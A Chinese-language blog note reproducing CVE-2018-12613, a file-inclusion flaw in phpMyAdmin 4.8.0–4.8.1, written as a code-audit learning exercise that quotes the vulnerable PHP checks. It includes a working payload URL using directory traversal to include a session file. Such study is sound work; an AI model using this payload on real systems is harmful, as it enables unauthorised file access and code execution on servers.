「安全筆記」CVE-2018-12613復現

「安全筆記」CVE-2018-12613復現

資源介紹參數
資源類別: PHP
如遇問題: 聯繫客服/留言反饋
釋放雙眼,帶上耳機,聽聽看~!

CVE-2018-12613 phpMyAdmin後台文件包含溯源


flask項目差不多告一段落了,最近做ctf意識到代碼審計的問題,對於源碼閱讀還是很差,打算省賽結束開始php學習,提高代碼審計能力,先從一些簡單的cve開始,學細一些思路。

漏洞影響

該漏洞影響phpMyAdmin 4.8.0-4.8.1版本,本次使用4.8.1版本,復現環境Ubuntu16.04

漏洞分析

漏洞入口 index.php54-63行,看到最後的include,只要繞過前面五判斷即可達到任意文件包含。

$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}


1. target非空
2. target必須是字符串
3. target不能以index開頭
4. 不能再黑名單中(import.php、export.php)
5. Core類的checkPageValidity方法返回True
前四個很好繞過,重點放在第五個條件,跳轉到libraries/classes/Core.php里的checkPageValidity方法

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    ); 
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}
  1. 因為我們沒有傳入$whitelist,所以現在的白名單使用定義的白名單。(太長了就不貼出來了)
  2. 傳入的參數未被定義或者不是字符串,就返回False
  3. 參數在$whitelist里直接返回true,但是就不能包含了
  4. 第四步首先經過一次urldecode,這裡容易想到二次url編碼,然後取第一個?號前的字符串,這一步的意思是,如果target包含的文件帶參數同樣可以成功包含。
  5. 判斷截取的被4截取過的字符串再放到白名單中判斷。
    分析完了就很好利用了,只需要用一個存在白名單的文件然後就可以包含一個需要的文件了
    這裡可以利用ph師傅的方法,在phpmyadmin中執行一次sql查詢例如,select,然後包含session文件,一般的儲存在tmp/sess_你的sessionid中,sessionid可以在cookies里的phpmyadmin里找到,但是我碰到了不再tmp下的情況,可以去phpinfo中找到session.save_path找到儲存路徑包含即可,可以利用目錄穿越去找到想包含的文件
    payload: http://localhost/phpmyadmin-4.8.1/index.php?target=db_sql.php?/../../../../../../../var/lib/php/sessions/sess_n286l45an4ugi5akup174176pn
    這裡注意,大多數payload給出的都是二次url編碼後的?號,這裡原因還不是很明確=,請知道的師傅務必聯繫我!!

總結,從小的點出發,開始深挖,比如從一個include開始,嘗試繞過判斷包含任意文件。利用一些函式來突破限制如urldecode。從目標出發,只要可以繞過判斷就好。

聲明:本文為原創作品,版權歸作者所有。未經許可,不得轉載或用於任何商業用途。如若本站內容侵犯了原著者的合法權益,可聯繫我們進行處理。

給TA打賞
共{{data.count}}人
人已打賞
0 條回復 A文章作者 M管理員
    暫無討論,說說你的看法吧